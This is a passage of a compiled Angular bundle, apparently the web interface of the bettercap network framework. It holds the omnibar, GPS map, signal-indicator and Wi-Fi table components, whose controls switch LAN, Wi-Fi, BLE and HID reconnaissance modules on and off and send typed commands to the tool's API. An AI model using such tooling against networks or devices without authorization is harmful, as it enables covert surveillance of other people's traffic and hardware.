aWQgIzM1MzUzNTtcbiAgYmFja2dyb3VuZC1jb2xvcjogIzMzMztcbiAgY29sb3I6ICM5OTk7XG59XG5cbi5pbnB1dC1ncm91cCA+IC5jdXN0b20tcmFuZ2Uge1xuICBkaXNwbGF5OiBibG9jaztcbiAgaGVpZ2h0OiBjYWxjKDIuMjVyZW0gKyAycHgpO1xuICBwYWRkaW5nOiAwIDAuNzVyZW07XG4gIGZvbnQtc2l6ZTogMXJlbTtcbiAgbGluZS1oZWlnaHQ6IDEuNTtcbiAgYmFja2dyb3VuZC1jbGlwOiBwYWRkaW5nLWJveDtcbiAgYm9yZGVyLXJhZGl1czogMC4yNXJlbTtcbiAgdHJhbnNpdGlvbjogYm94LXNoYWRvdyAwLjE1cyBlYXNlLWluLW91dDtcbn1cblxuLmlucHV0LWdyb3VwID4gLmN1c3RvbS1yYW5nZSB7XG4gIHBvc2l0aW9uOiByZWxhdGl2ZTtcbiAgLW1zLWZsZXg6IDEgMSBhdXRvO1xuICBmbGV4OiAxIDEgYXV0bztcbiAgd2lkdGg6IDElO1xuICBtYXJnaW4tYm90dG9tOiAwO1xufVxuXG4uaW5wdXQtZ3JvdXAgPiAuY3VzdG9tLXJhbmdlOmZvY3VzIHtcbiAgei1pbmRleDogMztcbn1cblxuLmlucHV0LWdyb3VwLXNtID4gLmN1c3RvbS1yYW5nZSB7XG4gIGhlaWdodDogY2FsYygxLjgxMjVyZW0gKyAycHgpO1xuICBwYWRkaW5nOiAwIDAuNXJlbTtcbiAgZm9udC1zaXplOiAwLjg3NXJlbTtcbiAgbGluZS1oZWlnaHQ6IDEuNTtcbiAgYm9yZGVyLXJhZGl1czogMC4ycmVtO1xufVxuXG4uaW5wdXQtZ3JvdXAtbGcgPiAuY3VzdG9tLXJhbmdlIHtcbiAgaGVpZ2h0OiBjYWxjKDIuODc1cmVtICsgMnB4KTtcbiAgcGFkZGluZy1sZWZ0OiAwIDFyZW07XG4gIGZvbnQtc2l6ZTogMS4yNXJlbTtcbiAgbGluZS1oZWlnaHQ6IDEuNTtcbiAgYm9yZGVyLXJhZGl1czogMC4zcmVtO1xufVxuXG4uaW5wdXQtZ3JvdXAgPiAuY3VzdG9tLXJhbmdlOm5vdCg6bGFzdC1jaGlsZCkge1xuICBib3JkZXItdG9wLXJpZ2h0LXJhZGl1czogMDtcbiAgYm9yZGVyLWJvdHRvbS1yaWdodC1yYWRpdXM6IDA7XG59XG5cbi5pbnB1dC1ncm91cCA+IC5jdXN0b20tcmFuZ2U6bm90KDpmaXJzdC1jaGlsZCkge1xuICBib3JkZXItdG9wLWxlZnQtcmFkaXVzOiAwO1xuICBib3JkZXItYm90dG9tLWxlZnQtcmFkaXVzOiAwO1xufSJdfQ== */\"","import {Component, Output, Input, OnInit, OnDestroy} from '@angular/core';\nimport {Router, NavigationStart } from '@angular/router';\nimport {debounceTime, distinctUntilChanged, map} from 'rxjs/operators';\nimport {Observable} from 'rxjs/Observable';\n\nimport {OmniBarService} from '../../services/omnibar.service';\nimport {ApiService} from '../../services/api.service';\nimport { ToastrService } from 'ngx-toastr'; \n\ndeclare var $: any;\n\n// due to https://github.com/ng-bootstrap/ng-bootstrap/issues/917\nlet handlers = [];\nlet params = [];\n\n@Component({\n selector: 'omnibar',\n templateUrl: './omnibar.component.html',\n styleUrls: ['./omnibar.component.scss']\n})\nexport class OmnibarComponent implements OnInit, OnDestroy {\n modules: any = {};\n clearCmd: string = \"\";\n restorePause: boolean = false;\n withCmd: boolean = false;\n withLimit: boolean = false;\n withIfaces: boolean = false;\n\n enabled: any = {}\n cmd: string = '';\n ifaces: any = [];\n rest: any = null;\n\n configs: any = {\n '/lan': {\n 'modules': {\n 'net.recon': 'net.recon',\n 'net.probe': 'net.probe'\n },\n 'clearCmd': 'net.clear',\n 'withCmd': true\n },\n\n '/wifi': {\n 'modules': { 'wifi': 'wifi.recon' },\n 'clearCmd': 'wifi.clear',\n 'withCmd': true,\n 'withIfaces': true\n },\n\n '/ble': {\n 'modules': { 'ble.recon': 'ble.recon' },\n 'clearCmd': 'ble.clear',\n 'withCmd': true\n },\n\n '/hid': {\n 'modules': { 'hid': 'hid.recon' },\n 'clearCmd': 'hid.clear',\n 'withCmd': true,\n },\n\n '/gps': {\n 'modules': { 'gps': 'gps' },\n 'withCmd': true,\n },\n\n '/caplets': {\n 'withCmd': true\n },\n\n '/advanced': {\n 'withCmd': true\n },\n\n '/events': {\n 'clearCmd': 'events.clear',\n 'withCmd': true,\n 'withLimit': true\n },\n };\n\n constructor(public svc: OmniBarService, public api: ApiService, private toastr: ToastrService, private router: Router) { \n \n }\n\n ngOnInit() {\n this.router.events\n .subscribe((event) => {\n if( event instanceof NavigationStart) {\n this.updateState(event.url);\n }\n });\n\n this.updateState(this.router.url);\n\n this.update();\n this.api.onNewData.subscribe(session => {\n this.update();\n\n if( this.restorePause ) {\n this.restorePause = false; \n this.api.paused = true;\n }\n });\n }\n\n showRecordModal() {\n $('#recordFile').val('~/bettercap-session.record');\n // https://stackoverflow.com/questions/10636667/bootstrap-modal-appearing-under-background\n $('#recordModal').appendTo('body').modal('show');\n }\n\n doRecord() {\n $('#recordModal').modal('hide');\n\n let file = $('#recordFile').val();\n\n this.api.cmd(\"api.rest.record \" + file);\n }\n\n stopRecording() {\n this.api.cmd(\"api.rest.record off\");\n }\n\n showReplayModal() {\n $('#replayFile').val('~/bettercap-session.record');\n // https://stackoverflow.com/questions/10636667/bootstrap-modal-appearing-under-background\n $('#replayModal').appendTo('body').modal('show');\n }\n\n doReplay() {\n $('#replayModal').modal('hide');\n\n let file = $('#replayFile').val();\n\n this.api.cmd(\"api.rest.replay \" + file);\n\n this.rest.state.load_progress = 0.0;\n\n $('#loadingModal').appendTo('body').modal({\n backdrop: 'static', \n keyboard: false\n });\n }\n\n curReplaytime() : string {\n let cur = new Date(Date.parse(this.api.session.polled_at));\n let start = new Date(Date.parse(this.rest.state.rec_started));\n let diff = cur.getTime() - start.getTime();\n return String( Math.floor(diff / 1000) );\n }\n\n setReplayFrame(frame) {\n this.rest.state.rec_cur_frame = \n this.api.sessionFrom = \n this.api.eventsFrom = frame;\n\n let wasPaused = this.api.paused;\n\n // unpause, wait for an update and restore pause if needed\n this.api.paused = false;\n if( wasPaused ) {\n this.restorePause = true; \n }\n }\n\n stopReplaying() {\n this.api.cmd(\"api.rest.replay off\");\n }\n\n replayPerc() : string {\n let perc = parseInt(String((this.rest.state.rec_cur_frame / this.rest.state.rec_frames) * 100));\n return String(perc);\n }\n\n private updateState( url : string ) {\n this.modules = {};\n this.clearCmd = '';\n this.withCmd = true;\n this.withLimit = false;\n this.withIfaces = false;\n\n for( var path in this.configs ) {\n if( url.indexOf(path) === 0 ) {\n for( var attr in this.configs[path] ) {\n this[attr] = this.configs[path][attr];\n }\n return;\n }\n }\n }\n\n private update() {\n this.rest = this.api.module('api.rest');\n\n if( this.rest.state.load_progress == 100.0 ) {\n $('#loadingModal').modal('hide');\n }\n\n handlers = [];\n params = [];\n\n for( let i = 0; i < this.api.session.modules.length; i++ ){\n let mod = this.api.session.modules[i];\n\n this.enabled[mod.name] = mod.running;\n\n for( let j = 0; j < mod.handlers.length; j++ ) {\n handlers.push( mod.handlers[j].name );\n }\n\n for( let name in mod.parameters ) {\n params.push( mod.parameters[name].name );\n }\n } \n\n this.ifaces = [];\n for( let i = 0; i < this.api.session.interfaces.length; i++ ) {\n let iface = this.api.session.interfaces[i];\n\n if( iface.addresses.length == 0 && !iface.flags.includes('LOOPBACK') ) {\n this.ifaces.push(iface);\n }\n }\n }\n\n ngOnDestroy() {\n \n }\n\n onClearClicked() {\n if( confirm(\"This will clear the records from both the API and the UI, continue?\") ) {\n this.api.cmd(this.clearCmd);\n }\n }\n\n isWifiIface(iface : any ) : boolean {\n let wif = this.api.session.env.data['wifi.interface'];\n if( wif == '' ) {\n return iface.name == this.api.session.interface.hostname;\n }\n return iface.name == wif;\n }\n\n onSetWifiInterface(name : string) {\n this.api.cmd('set wifi.interface ' + name);\n this.toastr.info(\"Set wifi.interface to \" + name);\n }\n\n onModuleToggleClicked(mod : any) {\n this.update();\n \n let toggle = this.enabled[mod.key] ? 'off' : 'on';\n let selected = $('#wifiiface').val();\n let bar = this;\n let cb = function() {\n bar.enabled[mod.key] = !bar.enabled[mod.key];\n bar.api.cmd(mod.value + ' ' + toggle);\n };\n\n if( selected && toggle == 'on' && this.withIfaces ) {\n this.api.cmd('set wifi.interface ' + selected, true).subscribe(\n (val) => {\n cb();\n },\n error => {\n cb();\n },\n () => {}\n );\n } else {\n cb();\n }\n }\n\n searchCommand(text$: Observable
) {\n return text$.pipe(\n distinctUntilChanged(),\n map(function(term) {\n if( term.length < 2 )\n return [];\n\n let lwr = term.toLowerCase();\n if( lwr.indexOf('set ') === 0 ) {\n let par = lwr.substring(4);\n return params\n .filter(p => p.toLowerCase().indexOf(par) > -1)\n .map(p => 'set ' + p);\n }\n \n return handlers.filter(h => h.toLowerCase().indexOf(lwr) > -1);\n })\n );\n }\n\n onCmd() {\n let cmd = this.cmd.trim();\n if( cmd.length > 0 ) {\n this.cmd = '';\n this.api.cmd(cmd);\n }\n }\n}\n","module.exports = \"\\n\\n
\\n \\n \\n | \\n \\n Not running\\n \\n | \\n\\n \\n \\n \\n No satellites\\n \\n | \\n\\n 0\\\">Updated | \\n 0\\\">\\n {{ api.session.gps.Updated | date:'HH:mm:ss' }} \\n | \\n\\n \\n \\n {{ gps.key }} | \\n {{ gps.value }} | \\n \\n \\n \\n\\n
\\n \\n
\\n\\n
\\n
\\n\"","module.exports = \"div.map {\\n width: 100%;\\n height: 95%;\\n}\\n/*# sourceMappingURL=data:application/json;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIi9Vc2Vycy9ldmlsc29ja2V0L0JhaGFtdXQvTGFiL2JldHRlcmNhcC91aS9zcmMvYXBwL2NvbXBvbmVudHMvcG9zaXRpb24vcG9zaXRpb24uY29tcG9uZW50LnNjc3MiLCJzcmMvYXBwL2NvbXBvbmVudHMvcG9zaXRpb24vcG9zaXRpb24uY29tcG9uZW50LnNjc3MiXSwibmFtZXMiOltdLCJtYXBwaW5ncyI6IkFBQUE7RUFDSSxXQUFBO0VBQ0EsV0FBQTtBQ0NKIiwiZmlsZSI6InNyYy9hcHAvY29tcG9uZW50cy9wb3NpdGlvbi9wb3NpdGlvbi5jb21wb25lbnQuc2NzcyIsInNvdXJjZXNDb250ZW50IjpbImRpdi5tYXAge1xuICAgIHdpZHRoOiAxMDAlO1xuICAgIGhlaWdodDogOTUlO1xufVxuIiwiZGl2Lm1hcCB7XG4gIHdpZHRoOiAxMDAlO1xuICBoZWlnaHQ6IDk1JTtcbn0iXX0= */\"","import {Component, OnInit, OnDestroy, ViewChild} from '@angular/core';\nimport { ApiService } from '../../services/api.service';\nimport { OmniBarService } from '../../services/omnibar.service';\nimport { Event } from '../../models/event';\n\ndeclare var ol: any;\n\n@Component({\n selector: 'ui-position',\n templateUrl: './position.component.html',\n styleUrls: ['./position.component.scss']\n})\nexport class PositionComponent implements OnInit, OnDestroy {\n running: boolean = false;\n map: any;\n prevMarker: any;\n subscriptions: any = [];\n\n constructor(public api: ApiService, public omnibar: OmniBarService) { \n this.update();\n }\n\n ngOnInit() {\n this.subscriptions = [\n this.api.onNewData.subscribe(session => {\n this.update();\n })\n ];\n\n this.map = new ol.Map({\n target: 'map',\n layers: [\n new ol.layer.Tile({\n source: new ol.source.OSM()\n })\n ],\n view: new ol.View({\n center: ol.proj.fromLonLat([this.api.session.gps.Longitude, this.api.session.gps.Latitude]),\n zoom: 18\n })\n });\n\n this.addMarker(this.api.session.gps.Latitude, this.api.session.gps.Longitude)\n }\n\n ngOnDestroy() {\n for( let i = 0; i < this.subscriptions.length; i++ ){\n this.subscriptions[i].unsubscribe();\n }\n this.subscriptions = [];\n }\n\n private addMarker(lat, lng) { \n const iconMarkerStyle = new ol.style.Style({\n image: new ol.style.Icon( {\n opacity: 1.0,\n scale: 0.1,\n src: '/assets/images/logo.png'\n })\n });\n\n let vectorLayer = new ol.layer.Vector({\n source:new ol.source.Vector({\n features: [new ol.Feature({\n geometry: new ol.geom.Point(ol.proj.transform([lng, lat], 'EPSG:4326','EPSG:3857')),\n })]\n }),\n style: iconMarkerStyle\n });\n\n if( this.prevMarker ) {\n this.map.removeLayer(this.prevMarker);\n }\n\n this.map.addLayer(vectorLayer);\n this.prevMarker = vectorLayer;\n }\n\n /*\n https://www.maps.ie/map-my-route/\n\n idx: number = 0;\n steps: any = [\n [40.861793161679294,-73.04730981588365],[40.861793,-73.047311],[40.862143,-73.04736],[40.862143,-73.04736],[40.862492,-73.047415],[40.862492,-73.047415],[40.862842,-73.047465],[40.862842,-73.047465],[40.863002,-73.047493],[40.863002,-73.047493],[40.863337,-73.04756],[40.863337,-73.04756],[40.863593,-73.047618],[40.863593,-73.047618],[40.863881,-73.047683],[40.863891,-73.047619],[40.863891,-73.047619],[40.863881,-73.047683],[40.864028,-73.047655],[40.86417,-73.047699],[40.86417,-73.047699],[40.86441,-73.047774],[40.864478,-73.04785],[40.864477,-73.04775],[40.864477,-73.04775],[40.864478,-73.04785],[40.864809,-73.047897],[40.864809,-73.047897],[40.865154,-73.047946],[40.865154,-73.047946],[40.865536,-73.048015],[40.865536,-73.048015],[40.865798,-73.048062],[40.865808,-73.047966],[40.865808,-73.047966],[40.865851,-73.047547],[40.865851,-73.047547],[40.865907,-73.047013],[40.865907,-73.047013],[40.865959,-73.046432],[40.865959,-73.046432],[40.86598,-73.046222],[40.866253,-73.046266],[40.866253,-73.046266],[40.866527,-73.046309],[40.866527,-73.046309],[40.866741,-73.046424],[40.866775,-73.046513],[40.866771,-73.046557],[40.866771,-73.046557],[40.866715,-73.047177],[40.866715,-73.047177],[40.866682,-73.047523],[40.866682,-73.047523],[40.86666,-73.0476],[40.866528,-73.047892],[40.866528,-73.047892],[40.866477,-73.048318],[40.866477,-73.048318],[40.86644,-73.048698],[40.86644,-73.048698],[40.866401,-73.0491],[40.866401,-73.0491],[40.866349,-73.049643],[40.866349,-73.049643],[40.86633,-73.049841],[40.866261,-73.049828],[40.866261,-73.049828],[40.866151,-73.049807],[40.866151,-73.049807],[40.865965,-73.049772],[40.865965,-73.049772],[40.865747,-73.04973],[40.865747,-73.04973],[40.865402,-73.049664],[40.865402,-73.049664],[40.865034,-73.049664],[40.865034,-73.049664],[40.865005,-73.049665],[40.864982,-73.049925],[40.864982,-73.049925],[40.864939,-73.050328],[40.864939,-73.050328],[40.864922,-73.050414],[40.864824,-73.050632],[40.864723,-73.05079],[40.864723,-73.05079],[40.864586,-73.051003],[40.864586,-73.051003],[40.86468,-73.050856],[40.864367,-73.050821],[40.864367,-73.050821],[40.86468,-73.050856],[40.864824,-73.050632],[40.864113,-73.050546],[40.864113,-73.050546],[40.864005,-73.050533],[40.864005,-73.050533],[40.864005,-73.050533]\n ];\n */\n\n private update() {\n this.running = this.api.module('gps').running;\n\n if( this.map ) {\n /*\n let step = this.steps[this.idx++ % this.steps.length];\n this.api.session.gps.Longitude = step[1];\n this.api.session.gps.Latitude = step[0];\n */\n this.addMarker(this.api.session.gps.Latitude, this.api.session.gps.Longitude)\n\n var view = this.map.getView();\n\n view.setCenter(ol.proj.fromLonLat([this.api.session.gps.Longitude, this.api.session.gps.Latitude]));\n }\n }\n}\n","import { Pipe, PipeTransform } from '@angular/core';\n\n@Pipe({name: 'rectime'})\nexport class RecTimePipe implements PipeTransform {\n // https://www.tutorialspoint.com/How-to-convert-seconds-to-HH-MM-SS-with-JavaScript\n transform(sec: number = 0) : string {\n let hrs = Math.floor(sec / 3600);\n let min = Math.floor((sec - (hrs * 3600)) / 60);\n let seconds = sec - (hrs * 3600) - (min * 60);\n\n seconds = Math.round(seconds * 100) / 100\n\n let result = String(hrs < 10 ? \"0\" + hrs : hrs);\n result += \":\" + (min < 10 ? \"0\" + min : min);\n result += \":\" + (seconds < 10 ? \"0\" + seconds : seconds);\n return result; \n }\n}\n","import { Pipe, PipeTransform } from '@angular/core';\n\n@Pipe({name: 'search'})\nexport class SearchPipe implements PipeTransform {\n transform(values: any[], term: string): any[] {\n return values.filter((x:any) => {\n if( term.length < 3 )\n return true;\n\n term = term.toLowerCase();\n for( var field in x ){\n let val = JSON.stringify(x[field]);\n if( val.toLowerCase().includes(term) ){\n return true;\n }\n }\n\n return false;\n })\n } \n}\n","module.exports = \"\\n = 1\\\">\\n = 2\\\">\\n = 3\\\">\\n \\n
\\n\"","module.exports = \".signal-indicator--wrapper {\\n width: 30px;\\n display: table-cell;\\n}\\n.signal-indicator--wrapper:after {\\n content: \\\"\\\";\\n display: table;\\n clear: both;\\n}\\n.signal-indicator--wrapper .signal-indicator--step {\\n display: inline-block;\\n background-color: #32383e;\\n width: 5px;\\n transition: height 0.2s ease-in-out;\\n margin-right: 3px;\\n margin-bottom: 4px;\\n vertical-align: bottom;\\n}\\n.signal-indicator--wrapper .signal-indicator--step:last-child {\\n margin-right: 0;\\n}\\n.signal-indicator--wrapper .signal-indicator--step.signal-indicator__step1 {\\n height: 2px;\\n}\\n.signal-indicator--wrapper .signal-indicator--step.signal-indicator__step2 {\\n height: 5px;\\n}\\n.signal-indicator--wrapper .signal-indicator--step.signal-indicator__step3 {\\n height: 10px;\\n}\\n.signal-indicator--wrapper .signal-indicator--step.signal-indicator__step4 {\\n height: 15px;\\n}\\n.signal-indicator--wrapper.step__1 .currentStep {\\n background-color: red;\\n}\\n.signal-indicator--wrapper.step__2 .currentStep {\\n background-color: yellow;\\n}\\n.signal-indicator--wrapper.step__3 .currentStep {\\n background-color: yellowgreen;\\n}\\n.signal-indicator--wrapper.step__4 .currentStep {\\n background-color: green;\\n}\\n/*# sourceMappingURL=data:application/json;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIi9Vc2Vycy9ldmlsc29ja2V0L0JhaGFtdXQvTGFiL2JldHRlcmNhcC91aS9zcmMvYXBwL2NvbXBvbmVudHMvc2lnbmFsLWluZGljYXRvci9zaWduYWwtaW5kaWNhdG9yLmNvbXBvbmVudC5zY3NzIiwic3JjL2FwcC9jb21wb25lbnRzL3NpZ25hbC1pbmRpY2F0b3Ivc2lnbmFsLWluZGljYXRvci5jb21wb25lbnQuc2NzcyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFBQTtFQU1FLFdBQUE7RUFDQSxtQkFBQTtBQ0pGO0FERkU7RUFDRSxXQUFBO0VBQ0EsY0FBQTtFQUNBLFdBQUE7QUNJSjtBREFFO0VBQ0UscUJBQUE7RUFDQSx5QkFBQTtFQUNBLFVBQUE7RUFDQSxtQ0FBQTtFQUNBLGlCQUFBO0VBQ0Esa0JBQUE7RUFDQSxzQkFBQTtBQ0VKO0FEREk7RUFDRSxlQUFBO0FDR047QURESTtFQUNFLFdBQUE7QUNHTjtBRERJO0VBQ0UsV0FBQTtBQ0dOO0FEREk7RUFDRSxZQUFBO0FDR047QURESTtFQUNFLFlBQUE7QUNHTjtBRENJO0VBQ0UscUJBQUE7QUNDTjtBREdJO0VBQ0Usd0JBQUE7QUNETjtBREtJO0VBQ0UsNkJBQUE7QUNITjtBRE9JO0VBQ0UsdUJBQUE7QUNMTiIsImZpbGUiOiJzcmMvYXBwL2NvbXBvbmVudHMvc2lnbmFsLWluZGljYXRvci9zaWduYWwtaW5kaWNhdG9yLmNvbXBvbmVudC5zY3NzIiwic291cmNlc0NvbnRlbnQiOlsiLnNpZ25hbC1pbmRpY2F0b3ItLXdyYXBwZXIge1xuICAmOmFmdGVyIHtcbiAgICBjb250ZW50OiAnJztcbiAgICBkaXNwbGF5OnRhYmxlO1xuICAgIGNsZWFyOmJvdGg7XG4gIH1cbiAgd2lkdGg6MzBweDtcbiAgZGlzcGxheTp0YWJsZS1jZWxsO1xuICAuc2lnbmFsLWluZGljYXRvci0tc3RlcCB7XG4gICAgZGlzcGxheTppbmxpbmUtYmxvY2s7XG4gICAgYmFja2dyb3VuZC1jb2xvcjojMzIzODNlO1xuICAgIHdpZHRoOjVweDtcbiAgICB0cmFuc2l0aW9uOiBoZWlnaHQgLjJzIGVhc2UtaW4tb3V0O1xuICAgIG1hcmdpbi1yaWdodDozcHg7XG4gICAgbWFyZ2luLWJvdHRvbTogNHB4O1xuICAgIHZlcnRpY2FsLWFsaWduOiBib3R0b207XG4gICAgJjpsYXN0LWNoaWxkIHtcbiAgICAgIG1hcmdpbi1yaWdodDowO1xuICAgIH1cbiAgICAmLnNpZ25hbC1pbmRpY2F0b3JfX3N0ZXAxe1xuICAgICAgaGVpZ2h0OjJweDtcbiAgICB9XG4gICAgJi5zaWduYWwtaW5kaWNhdG9yX19zdGVwMntcbiAgICAgIGhlaWdodDo1cHg7XG4gICAgfVxuICAgICYuc2lnbmFsLWluZGljYXRvcl9fc3RlcDN7XG4gICAgICBoZWlnaHQ6MTBweDtcbiAgICB9XG4gICAgJi5zaWduYWwtaW5kaWNhdG9yX19zdGVwNHtcbiAgICAgIGhlaWdodDoxNXB4O1xuICAgIH1cbiAgfVxuICAmLnN0ZXBfXzF7XG4gICAgLmN1cnJlbnRTdGVwIHtcbiAgICAgIGJhY2tncm91bmQtY29sb3I6cmVkO1xuICAgIH1cbiAgfVxuICAmLnN0ZXBfXzJ7XG4gICAgLmN1cnJlbnRTdGVwIHtcbiAgICAgIGJhY2tncm91bmQtY29sb3I6eWVsbG93O1xuICAgIH1cbiAgfVxuICAmLnN0ZXBfXzN7XG4gICAgLmN1cnJlbnRTdGVwIHtcbiAgICAgIGJhY2tncm91bmQtY29sb3I6eWVsbG93Z3JlZW47XG4gICAgfVxuICB9XG4gICYuc3RlcF9fNHtcbiAgICAuY3VycmVudFN0ZXAge1xuICAgICAgYmFja2dyb3VuZC1jb2xvcjpncmVlbjtcbiAgICB9XG4gIH1cbn1cbiIsIi5zaWduYWwtaW5kaWNhdG9yLS13cmFwcGVyIHtcbiAgd2lkdGg6IDMwcHg7XG4gIGRpc3BsYXk6IHRhYmxlLWNlbGw7XG59XG4uc2lnbmFsLWluZGljYXRvci0td3JhcHBlcjphZnRlciB7XG4gIGNvbnRlbnQ6IFwiXCI7XG4gIGRpc3BsYXk6IHRhYmxlO1xuICBjbGVhcjogYm90aDtcbn1cbi5zaWduYWwtaW5kaWNhdG9yLS13cmFwcGVyIC5zaWduYWwtaW5kaWNhdG9yLS1zdGVwIHtcbiAgZGlzcGxheTogaW5saW5lLWJsb2NrO1xuICBiYWNrZ3JvdW5kLWNvbG9yOiAjMzIzODNlO1xuICB3aWR0aDogNXB4O1xuICB0cmFuc2l0aW9uOiBoZWlnaHQgMC4ycyBlYXNlLWluLW91dDtcbiAgbWFyZ2luLXJpZ2h0OiAzcHg7XG4gIG1hcmdpbi1ib3R0b206IDRweDtcbiAgdmVydGljYWwtYWxpZ246IGJvdHRvbTtcbn1cbi5zaWduYWwtaW5kaWNhdG9yLS13cmFwcGVyIC5zaWduYWwtaW5kaWNhdG9yLS1zdGVwOmxhc3QtY2hpbGQge1xuICBtYXJnaW4tcmlnaHQ6IDA7XG59XG4uc2lnbmFsLWluZGljYXRvci0td3JhcHBlciAuc2lnbmFsLWluZGljYXRvci0tc3RlcC5zaWduYWwtaW5kaWNhdG9yX19zdGVwMSB7XG4gIGhlaWdodDogMnB4O1xufVxuLnNpZ25hbC1pbmRpY2F0b3ItLXdyYXBwZXIgLnNpZ25hbC1pbmRpY2F0b3ItLXN0ZXAuc2lnbmFsLWluZGljYXRvcl9fc3RlcDIge1xuICBoZWlnaHQ6IDVweDtcbn1cbi5zaWduYWwtaW5kaWNhdG9yLS13cmFwcGVyIC5zaWduYWwtaW5kaWNhdG9yLS1zdGVwLnNpZ25hbC1pbmRpY2F0b3JfX3N0ZXAzIHtcbiAgaGVpZ2h0OiAxMHB4O1xufVxuLnNpZ25hbC1pbmRpY2F0b3ItLXdyYXBwZXIgLnNpZ25hbC1pbmRpY2F0b3ItLXN0ZXAuc2lnbmFsLWluZGljYXRvcl9fc3RlcDQge1xuICBoZWlnaHQ6IDE1cHg7XG59XG4uc2lnbmFsLWluZGljYXRvci0td3JhcHBlci5zdGVwX18xIC5jdXJyZW50U3RlcCB7XG4gIGJhY2tncm91bmQtY29sb3I6IHJlZDtcbn1cbi5zaWduYWwtaW5kaWNhdG9yLS13cmFwcGVyLnN0ZXBfXzIgLmN1cnJlbnRTdGVwIHtcbiAgYmFja2dyb3VuZC1jb2xvcjogeWVsbG93O1xufVxuLnNpZ25hbC1pbmRpY2F0b3ItLXdyYXBwZXIuc3RlcF9fMyAuY3VycmVudFN0ZXAge1xuICBiYWNrZ3JvdW5kLWNvbG9yOiB5ZWxsb3dncmVlbjtcbn1cbi5zaWduYWwtaW5kaWNhdG9yLS13cmFwcGVyLnN0ZXBfXzQgLmN1cnJlbnRTdGVwIHtcbiAgYmFja2dyb3VuZC1jb2xvcjogZ3JlZW47XG59Il19 */\"","import {Component, Input, OnChanges, SimpleChanges} from '@angular/core';\n\n@Component({\n selector: 'ui-signal-indicator',\n templateUrl: './signal-indicator.component.html',\n styleUrls: ['./signal-indicator.component.scss']\n})\nexport class SignalIndicatorComponent implements OnChanges {\n @Input() signalstrength: number;\n\n signal: number;\n\n constructor() {\n this.signal = 0;\n }\n\n ngOnChanges(changes: SimpleChanges): void {\n if (changes.signalstrength) {\n this.signal = this._calculateStrength(changes.signalstrength.currentValue);\n }\n }\n\n \t// ref. https://www.metageek.com/training/resources/understanding-rssi-2.html\n private _calculateStrength(value: number): number {\n if( value >= -67 )\n return 4;\n else if( value >= -70 )\n return 3;\n else if( value >= -80 )\n return 2;\n else\n return 1;\n }\n}\n","import { Pipe, PipeTransform } from '@angular/core';\n\n@Pipe({name: 'size'})\nexport class SizePipe implements PipeTransform {\n private units = [\n 'B',\n 'KB',\n 'MB',\n 'GB',\n 'TB',\n 'PB'\n ];\n\n transform(bytes: number = 0, precision: number = 2 ) : string {\n let sbytes = String(bytes)\n \n if( isNaN(parseFloat(sbytes)) || !isFinite(bytes) )\n return sbytes;\n else if( bytes == 0 )\n return '0';\n\n let unit = 0;\n while ( bytes >= 1024 ) {\n bytes /= 1024;\n unit ++;\n }\n return bytes.toFixed( + precision ) + ' ' + this.units[ unit ];\n }\n}\n","module.exports = \"\\n \\n \\n \\n \\n \\n\\n\"","import { Component, OnInit, Input, Output, EventEmitter, OnDestroy, HostListener } from '@angular/core';\nimport {SortService} from '../../services/sort.service';\n\n@Component({\n selector: '[sortable-column]',\n templateUrl: './sortable-column.component.html'\n})\nexport class SortableColumnComponent implements OnInit {\n\n constructor(private sortService: SortService) { }\n\n @Input('sortable-column')\n columnName: string;\n\n @Input('sort-direction')\n sortDirection: string = '';\n\n @Input('sort-type')\n sortType: string = '';\n\n @HostListener('click')\n sort() {\n this.sortDirection = this.sortDirection === 'asc' ? 'desc' : 'asc';\n this.sortService.emitSort({\n field: this.columnName,\n direction: this.sortDirection,\n type: this.sortType,\n });\n }\n\n ngOnInit() {\n // subscribe to sort changes so we can react when other columns are sorted\n this.sortService.onSort.subscribe(event => {\n // reset this column's sort direction to hide the sort icons\n if (this.columnName != event.field) {\n this.sortDirection = '';\n }\n });\n }\n\n ngOnDestroy() {\n }\n}\n\n","import { Pipe, PipeTransform } from '@angular/core';\n\n@Pipe({name: 'unbash'})\nexport class UnbashPipe implements PipeTransform {\n // https://stackoverflow.com/questions/25245716/remove-all-ansi-colors-styles-from-strings\n transform(data: string): string {\n return String(data).replace(/[\\u001b\\u009b][[()#;?]*(?:[0-9]{1,4}(?:;[0-9]{0,4})*)?[0-9A-ORZcf-nqry=><]/g, '');\n } \n}\n","module.exports = \"\\n
\\n \\n \\n | RSSI | \\n BSSID | \\n ESSID | \\n Vendor | \\n Encryption | \\n\\n Ch | \\n \\n \\n | \\n\\n Clients | \\n Sent | \\n Recvd | \\n Seen | \\n
\\n \\n \\n\\n \\n | \\n empty\\n | \\n
\\n\\n \\n \\n | \\n \\n | \\n \\n \\n \\n \\n \\n | \\n\\n '\\\">\\n {{ ap.hostname }}\\n {{ ap.alias }}\\n | \\n\\n \\n {{ ap.vendor ? ap.vendor : 'unknown' }}\\n | \\n\\n \\n \\n\\n \\n \\n {{ ap.encryption }}\\n \\n\\n \\n \\n\\n \\n \\n\\n | \\n \\n \\n \\n | \\n \\n {{ ap.channel }}\\n | \\n\\n \\n 0\\n 0\\\">\\n \\n {{ ap.clients.length }}\\n \\n \\n \\n \\n | \\n\\n {{ ap.sent | size }} | \\n {{ ap.received | size }} | \\n {{ ap.last_seen | date: 'HH:mm:ss' }} | \\n\\n
\\n \\n \\n
\\n \\n
\\n \\n \\n | RSSI | \\n MAC | \\n Vendor | \\n Sent | \\n Recvd | \\n First Seen | \\n Last Seen | \\n
\\n \\n \\n \\n | \\n empty\\n | \\n
\\n\\n \\n | \\n \\n | \\n \\n \\n \\n \\n \\n\\n \\n {{ client.alias }}\\n \\n | \\n \\n {{ client.vendor ? client.vendor : 'unknown' }}\\n | \\n {{ client.sent | size }} | \\n {{ client.received | size }} | \\n \\n {{ client.first_seen | date: 'HH:mm:ss' }}\\n | \\n \\n {{ client.last_seen | date: 'HH:mm:ss' }}\\n | \\n
\\n \\n
\\n
